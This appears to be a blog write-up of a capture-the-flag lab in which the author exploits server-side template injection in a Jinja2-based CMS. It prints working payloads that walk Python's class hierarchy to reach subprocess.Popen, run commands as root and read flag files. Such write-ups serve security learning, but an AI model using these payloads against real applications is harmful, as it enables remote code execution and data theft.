𝐂𝐫𝐚𝐜𝐤𝐢𝐧𝐠 𝐏𝐚𝐠𝐞𝐅𝐨𝐫𝐠𝐞: 𝐒𝐞𝐫𝐯𝐞𝐫-𝐒𝐢𝐝𝐞 𝐓𝐞𝐦𝐩𝐥𝐚𝐭𝐞 𝐈𝐧𝐣𝐞𝐜𝐭𝐢𝐨𝐧 (𝐒𝐒𝐓𝐈) + 𝐖𝐀𝐅 𝐁𝐲𝐩𝐚𝐬𝐬 + 𝐑𝐂𝐄 (𝐊𝐫𝐲𝐩𝐭𝐬𝐞𝐜 𝐂𝐓𝐅 — 𝐒𝐒𝐓𝐈 𝐑𝐨𝐨𝐦)

—

𝐈𝐧𝐭𝐫𝐨𝐝𝐮𝐜𝐭𝐢𝐨𝐧

As someone who is continuously pushing to grow in the field of cybersecurity, I’ve been taking on Capture The Flag (CTF) challenges and hands-on labs to sharpen my practical skills. This particular lab caught my attention because it focuses on Server-Side Template Injection (SSTI), a vulnerability class that is widely underestimated but can be shockingly impactful when exploited correctly.

SSTI occurs when user-supplied input is embedded directly into a server-side template and evaluated by the template engine, essentially allowing an attacker to inject and execute code on the server. Unlike client-side attacks, SSTI gives an attacker a direct path into the server’s backend, which in worst-case scenarios leads to full Remote Code Execution (RCE).

In this write-up, I’ll walk through how I identified, exploited, and escalated an SSTI vulnerability in a CMS called PageForge — bypassing a Web Application Firewall (WAF) along the way using Python’s Method Resolution Order (MRO) chain traversal, ultimately achieving root-level code execution.

𝐓𝐡𝐞 𝐓𝐚𝐫𝐠𝐞𝐭

PageForge — a lightweight CMS with a template editor that allows users to write and preview dynamic page content using Jinja2-style syntax.

𝐒𝐭𝐞𝐩 𝟏: 𝐀𝐜𝐜𝐨𝐮𝐧𝐭 𝐂𝐫𝐞𝐚𝐭𝐢𝐨𝐧 — The page welcomes you in a login screen, since i don’t have any credentials to use, i registered for an account.

Upon Login — you will be redirected to the dashboard.

And then I clicked on the “New Page”. This will be our endpoint for testing the SSTI Vuln.

𝐒𝐭𝐞𝐩 𝟐: 𝐃𝐞𝐭𝐞𝐜𝐭𝐢𝐧𝐠 𝐭𝐡𝐞 𝐕𝐮𝐥𝐧𝐞𝐫𝐚𝐛𝐢𝐥𝐢𝐭𝐲 — The first step in any SSTI assessment is confirming that user input is being evaluated by a template engine. I injected a simple math expression into the template editor:

{{7*7}}

Upon clicking “Preview”, it rendered 49 instead of the literal string — confirming that the server was evaluating the input. SSTI confirmed.

𝐒𝐭𝐞𝐩 𝟑: 𝐏𝐲𝐭𝐡𝐨𝐧 𝐌𝐑𝐎 𝐂𝐡𝐚𝐢𝐧 𝐓𝐫𝐚𝐯𝐞𝐫𝐬𝐚𝐥 — Rather than relying on direct module imports (which are often blocked by WAFs), I leveraged Python’s Method Resolution Order (MRO), a built-in mechanism that defines how Python resolves class inheritance.

Get Philip Joshua Lucas’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

{{‘’.__class__.__mro__}}

Every string in Python is an instance of str, which inherits from object — the base of ALL Python classes. From object, I could access every class currently loaded in memory:

{{‘’.__class__.__mro__[1].__subclasses__()}}

This returned a massive list of all subclasses — including powerful ones like subprocess.Popen

𝐒𝐭𝐞𝐩 𝟑: 𝐅𝐢𝐧𝐝𝐢𝐧𝐠 𝐭𝐡𝐞 𝐑𝐢𝐠𝐡𝐭 𝐂𝐥𝐚𝐬𝐬 — I used a Jinja2 for loop to search through all subclasses and find subprocess.Popen by name — it landed at index 406.

{% for i in range(‘’.__class__.__mro__[1].__subclasses__()|length) %}
{% if ‘Popen’ in ‘’.__class__.__mro__[1].__subclasses__()[i].__name__ %}
INDEX:{{i}}
{% endif %}
{% endfor %}

𝐒𝐭𝐞𝐩 𝟒 — 𝐑𝐞𝐦𝐨𝐭𝐞 𝐂𝐨𝐝𝐞 𝐄𝐱𝐞𝐜𝐮𝐭𝐢𝐨𝐧 (𝐖𝐀𝐅 𝐁𝐲𝐩𝐚𝐬𝐬) — The WAF did not block the MRO chain approach (no keyword filtering on __class__, __mro__, or __subclasses__). Direct subprocess.Popen RCE payload:

{{‘’.__class__.__mro__[1].__subclasses__()[406]([‘id’],stdout=-1,stderr=-1).communicate()[0].decode()}}

Result: uid=0(root) gid=0(root) groups=0(root) — running as root.

𝐒𝐭𝐞𝐩 𝟓 — 𝐍𝐚𝐯𝐢𝐠𝐚𝐭𝐢𝐧𝐠 𝐭𝐨 𝐭𝐡𝐞 𝐅𝐥𝐚𝐠 𝐃𝐢𝐫𝐞𝐜𝐭𝐨𝐫𝐲

Payload used: {{‘’.__class__.__mro__[1].__subclasses__()[406]([‘ls’,’/’],stdout=-1,stderr=-1).communicate()[0].decode()}}

Payload used: {{‘’.__class__.__mro__[1].__subclasses__()[406](‘find / -name flag* 2>/dev/null’,shell=True,stdout=-1,stderr=-1).communicate()[0].decode()}}

𝐒𝐭𝐞𝐩 𝟔: 𝐅𝐥𝐚𝐠 𝐂𝐚𝐩𝐭𝐮𝐫𝐞𝐝 — Located flag files at /opt/flag.txt and /app/flag.txt and read them using the same RCE technique.

{{‘’.__class__.__mro__[1].__subclasses__()[406](‘cat /opt/flag.txt /app/flag.txt’,shell=True,stdout=-1,stderr=-1).communicate()[0].decode()}}

Tools Used: Browser only, no scripts, no Burp Suite, pure manual exploitation.

A huge shoutout to Kryptsec Cybersecurity for designing the PageForge SSTI Lab!

The challenge was realistic, well-structured, and genuinely fun to work through. It pushed me to go beyond surface-level knowledge and truly understand how Server-Side Template Injection, WAF bypasses, and Python MRO chain traversal work in practice.

This is exactly the kind of hands-on learning experience that makes a real difference. Thank you for investing your time and expertise into building challenges that help the cybersecurity community grow.

#CyberSecurity #PenetrationTesting #WebSecurity #SSTI #EthicalHacking #CTF #BugBounty #Python #Jinja2 #InfoSec #RedTeam